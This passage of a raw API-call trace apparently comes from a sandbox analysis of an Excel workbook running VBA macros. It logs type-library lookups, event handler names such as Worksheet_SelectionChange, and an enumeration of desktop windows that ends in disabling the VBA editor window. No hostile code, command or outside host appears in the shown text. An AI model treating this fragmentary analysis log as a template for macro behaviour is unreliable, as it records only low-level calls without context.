[0090.657] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.657] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x71, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.657] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.657] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x72, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.657] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.657] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x73, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.658] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.658] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x74, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.658] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.658] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x75, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.658] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.658] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x76, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.658] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.659] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x77, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.659] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.659] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x78, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.659] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.659] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x79, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.659] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.659] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x7a, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.659] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.659] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x7b, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.659] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.659] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x7c, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.659] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.659] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x7d, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.660] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.660] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x7e, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.660] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.660] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x7f, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.660] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.660] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x80, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.660] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.660] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x81, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.660] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.660] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x82, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.660] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.660] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x83, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.661] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.661] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x84, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.661] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.661] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x85, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.661] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.661] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x86, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.661] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.661] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x87, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.661] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.661] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x88, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.661] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.661] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x89, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.662] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.662] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x8a, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.662] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.662] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x8b, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.662] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.662] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x8c, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.662] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.662] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x8d, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.662] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.662] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x8e, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.662] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.662] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x8f, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.662] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.663] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x90, ppFuncDesc=0x20e968, pDummy=0x2d0 | out: ppFuncDesc=0x20e968, pDummy=0x2d0) returned 0x0 [0090.663] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.663] IUnknown:QueryInterface (in: This=0xb824830, riid=0x7fee5f86b50*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x20e988 | out: ppvObject=0x20e988*=0xb824830) returned 0x0 [0090.663] ITypeInfo2:GetCustData (in: This=0xb824830, GUID=0x7fee5f92690*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x20e998 | out: pVarVal=0x20e998*(varType=0x0, wReserved1=0x0, wReserved2=0x90, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0090.663] IUnknown:Release (This=0xb824830) returned 0x2 [0090.663] ITypeInfo:RemoteGetDocumentation (in: This=0xb824830, memid=-1, refPtrFlags=0x20e990, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0090.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Worksheet", cchWideChar=10, lpMultiByteStr=0x20e8a0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Worksheet", lpUsedDefaultChar=0x0) returned 10 [0090.663] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet") returned 0x10fec1 [0090.663] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0090.663] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0090.663] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0090.665] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0090.665] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0090.665] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0090.710] strncpy_s (in: _Dst=0x6114a90, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0090.710] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0090.710] bsearch (_Key=0x1e7f38, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0090.710] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0090.710] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0090.723] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679bb90) returned 0x0 [0090.723] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0090.723] IUnknown:Release (This=0x679bb90) returned 0x15 [0090.723] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x5a48630) returned 0x0 [0090.723] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0090.723] IUnknown:Release (This=0x5a48630) returned 0x12 [0090.723] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c130) returned 0x0 [0090.724] IUnknown:AddRef (This=0x679c130) returned 0x9 [0090.724] IUnknown:Release (This=0x679c130) returned 0x8 [0090.724] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c6d0) returned 0x0 [0090.724] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0090.724] IUnknown:Release (This=0x679c6d0) returned 0x6 [0090.735] GetCurrentThreadId () returned 0xa30 [0090.735] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0090.735] GetDesktopWindow () returned 0x10010 [0090.735] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0090.735] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0090.735] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0090.735] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.735] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0090.735] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.735] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.735] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.735] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0090.735] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.735] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.735] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.735] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0090.735] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.735] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.735] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.735] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0090.735] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.735] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.736] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.736] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0090.736] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.736] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.736] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.736] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0090.736] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.736] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.736] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.736] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0090.736] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.736] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.736] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.736] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0090.736] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0090.736] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0090.736] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.736] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0090.736] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0090.736] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0090.736] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.736] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0090.736] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.736] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.736] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0090.737] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0090.737] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0090.737] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.737] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0090.737] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0090.737] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0090.737] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0090.737] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0090.737] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.737] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.737] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0090.737] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0090.737] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0090.737] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0090.737] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0090.737] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0090.737] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.737] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.737] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0090.737] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0090.737] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.737] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.737] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.737] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0090.737] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.738] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.738] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.738] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0090.738] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.738] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.738] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.738] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0090.738] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.738] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.738] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.738] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0090.738] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0090.738] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0090.738] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.738] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x20262 [0090.738] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0090.738] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0090.738] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0090.738] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0090.738] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.738] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.738] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0090.738] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x10236 [0090.738] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0090.738] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0090.739] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.739] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0090.739] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0090.739] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0090.739] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0090.739] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.739] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.739] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.739] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0090.739] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0090.739] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0090.739] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x302dc [0090.739] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0090.739] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0090.739] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.739] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0090.739] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0090.739] IsWindowEnabled (hWnd=0x302dc) returned 1 [0090.739] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0090.739] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0090.747] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0090.747] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0090.747] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0090.747] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0090.747] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0090.747] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0090.747] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.747] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0090.747] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0090.747] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0090.747] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0090.747] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0090.747] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0090.747] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.747] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0090.747] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0090.747] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0090.747] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0090.747] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0090.748] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0090.748] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.748] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0090.748] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0090.748] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0090.748] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0090.748] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0090.748] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0090.748] 